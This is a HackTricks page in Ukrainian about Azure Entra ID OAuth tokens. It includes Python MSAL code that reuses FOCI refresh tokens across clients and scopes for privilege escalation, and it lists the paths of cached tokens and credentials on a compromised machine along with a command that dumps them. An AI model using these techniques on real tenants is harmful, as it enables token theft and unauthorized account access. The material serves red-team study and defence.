Az - Tokens & Public Applications

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Основна інформація

Entra ID — це хмарна платформа Microsoft для identity and access management (IAM), яка слугує базовою системою автентифікації та авторизації для сервісів, таких як Microsoft 365 і Azure Resource Manager. Azure AD реалізує фреймворк авторизації OAuth 2.0 та протокол автентифікації OpenID Connect (OIDC) для керування доступом до ресурсів.

OAuth

Ключові учасники в OAuth 2.0:

1. Resource Server (RS): Захищає ресурси, що належать resource owner.
2. Resource Owner (RO): Зазвичай це кінцевий користувач, який володіє захищеними ресурсами.
3. Client Application (CA): Додаток, який запитує доступ до ресурсів від імені resource owner.
4. Authorization Server (AS): Видає access tokens клієнтським додаткам після їх аутентифікації та авторизації.

Scopes and Consent:

• Scopes: Гранульовані дозволи, визначені на resource server, що вказують рівні доступу.
• Consent: Процес, під час якого resource owner надає client application дозвіл на доступ до ресурсів з певними scopes.

Microsoft 365 Integration:

• Microsoft 365 використовує Azure AD для IAM і складається з кількох “first-party” OAuth додатків.
• Ці додатки глибоко інтегровані й часто мають взаємозалежні сервісні відносини.
• Щоб спростити досвід користувача та зберегти функціональність, Microsoft надає “implied consent” або “pre-consent” цим first-party додаткам.
• Implied Consent: Певні додатки автоматично granted access to specific scopes without explicit user or administrator approval.
• Ці попередньо погоджені scopes зазвичай приховані від користувачів та адміністраторів, що робить їх менш помітними в стандартних інтерфейсах керування.

Client Application Types:

1. Confidential Clients:

• Мають власні облікові дані (наприклад, паролі або сертифікати).
• Можуть securely authenticate themselves до authorization server.

2. Public Clients:

• Не мають унікальних облікових даних.
• Не можуть безпечно аутентифікуватися перед authorization server.
• Security Implication: Зловмисник може видавати себе за public client application під час запиту токенів, оскільки authorization server немає механізму для перевірки легітимності додатка.

Authentication Tokens

Існує три типи токенів, що використовуються в OIDC:

• Access Tokens: Клієнт пред’являє цей токен resource server для доступу до ресурсів. Його можна використовувати лише для конкретної комбінації користувача, клієнта та ресурсу і не можна відкликати до закінчення терміну дії — за замовчуванням це 1 година.
• ID Tokens: Клієнт отримує цей токен від authorization server. Він містить базову інформацію про користувача. Він прив’язаний до конкретної комбінації користувача і клієнта.
• Refresh Tokens: Надаються клієнту разом з access token. Використовуються для отримання нових access та ID токенів. Вони прив’язані до конкретної комбінації користувача і клієнта та можуть бути відкликані. За замовчуванням термін придатності — 90 днів для неактивних refresh токенів і без терміну дії для активних токенів (з refresh токена можливо отримувати нові refresh токени).
• Refresh token має бути прив’язаний до aud, до певних scopes, і до tenant, і він повинен мати можливість генерувати access tokens лише для того aud, scopes (і не більше) та tenant. Однак це не завжди так для FOCI applications tokens.
• Refresh token зашифрований і лише Microsoft може його розшифрувати.
• Отримання нового refresh token не відкликає попередній refresh token.

Warning

Інформація для conditional access зберігається всередині JWT. Тому, якщо ви запитали token з дозволеної IP-адреси, ця IP буде записана в токен, і потім ви зможете використовувати цей токен з недозволеної IP для доступу до ресурсів.

Access Tokens “aud”

Поле, вказане у полі “aud”, — це resource server (додаток), що використовується для виконання логіну.

Команда az account get-access-token --resource-type [...] підтримує наступні типи, і кожен з них додасть конкретний “aud” у отриманий access token:

Caution

Зверніть увагу, що наведені нижче — лише API, які підтримує az account get-access-token, але їх більше.

Access Tokens Scopes “scp”

Сфера (scope) access token зберігається в ключі scp всередині JWT access token. Ці scopes визначають, до чого має доступ access token.

Якщо JWT дозволено звертатися до певного API, але він не має scope для виконання запитуваної дії, то він не зможе виконати цю дію з цим JWT.

Get refresh & access token example

# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List


# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"00b41c95-dab0-4487-9791-b9d2c32c80f2" # ID for Office 365 Management
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])

# Perform device code flow authentication

azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)


# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)


# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)

Інші поля токена доступу

• appid: Ідентифікатор застосунку, використаний для генерації токена
• appidacr: The Application Authentication Context Class Reference вказує, як був аутентифікований клієнт; для публічного клієнта значення 0, а якщо використовується client secret — значення 1
• acr: The Authentication Context Class Reference claim дорівнює “0”, коли аутентифікація кінцевого користувача не відповідала вимогам ISO/IEC 29115.
• amr: Метод аутентифікації вказує, як було автентифіковано токен. Значення “pwd” означає, що використано пароль.
• groups: Вказує групи, у яких принципал є учасником.
• iss: Issuer ідентифікує security token service (STS), яка згенерувала токен. наприклад https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (uuid — це tenant ID)
• oid: Object ID принципала
• tid: Tenant ID
• iat, nbf, exp: Issued at (коли було видано), Not before (не можна використовувати до цього часу, зазвичай те саме значення, що і iat), Expiration time.

FOCI Tokens Privilege Escalation

Раніше згадувалося, що refresh tokens повинні бути прив’язані до scopes, з якими вони були згенеровані, до application та tenant, для яких вони були створені. Якщо будь-який з цих кордонів буде порушений, можлива ескалація привілеїв, оскільки стане можливим генерувати access tokens для інших ресурсів і tenant-ів, до яких має доступ користувач, і з більшою кількістю scopes, ніж було задумано спочатку.

До того ж, це можливо з усіма refresh tokens в Microsoft identity platform (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google), оскільки, як згадують docs: “Refresh tokens are bound to a combination of user and client, but aren’t tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them.”

Крім того, зауважте, що FOCI applications — це public applications, тому no secret is needed для автентифікації на сервері.

Відомі FOCI клієнти, зазначені в original research, можна found here.

Get different scope

Продовжуючи попередній приклад коду, у цьому коді запитується новий токен для іншого scope:

# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)

Отримати іншого клієнта та області доступу (scopes)

# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)

Де знайти токени

З точки зору атакуючого дуже цікаво знати, де можна знайти access і refresh токени, наприклад коли ПК жертви скомпрометовано:

• Всередині <HOME>/.Azure
• azureProfile.json містить інформацію про користувачів, які виконували вхід раніше
• clouds.config contains містить інформацію про підписки
• service_principal_entries.json містить облікові дані застосунків (tenant id, clients і secret). Тільки в Linux & macOS
• msal_token_cache.json містить access tokens і refresh tokens. Тільки в Linux & macOS
• service_principal_entries.bin and msal_token_cache.bin використовуються в Windows і зашифровані за допомогою DPAPI
• msal_http_cache.bin — кеш HTTP-запитів
• Завантажити його: with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
• AzureRmContext.json містить інформацію про попередні входи з використанням Az PowerShell (але без облікових даних)
• Всередині C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\* є кілька .bin файлів з access tokens, ID tokens та інформацією про акаунти, зашифрованою за допомогою DPAPI користувача.
• Можна знайти більше access tokens у .tbres файлах всередині C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\, які містять base64, зашифрований DPAPI, з access tokens.
• На Linux та macOS можна отримати access tokens, refresh tokens і id tokens з Az PowerShell (якщо використовується), запустивши pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
• У Windows це генерує лише id tokens.
• Можна перевірити, чи використовувався Az PowerShell на Linux та macSO, перевіривши, чи існує $HOME/.local/share/.IdentityService/ (хоча вміст файлів порожній і марний)
• Якщо користувач увійшов в Azure через браузер, згідно з цим постом можна запустити authentication flow з redirect to localhost, змусити браузер автоматично авторизувати вхід і отримати refresh token. Зауважте, що лише декілька FOCI applications дозволяють redirect на localhost (наприклад az cli або the powershell module), тому ці додатки мають бути дозволені.
• Інший варіант, описаний у блозі — використати інструмент BOF-entra-authcode-flow, який може використовувати будь-який додаток, оскільки він отримає OAuth код, а потім отримає a refresh token з title фінальної auth сторінки, використовуючи redirect URI https://login.microsoftonline.com/common/oauth2/nativeclient.

References

• https://github.com/secureworks/family-of-client-ids-research
• https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.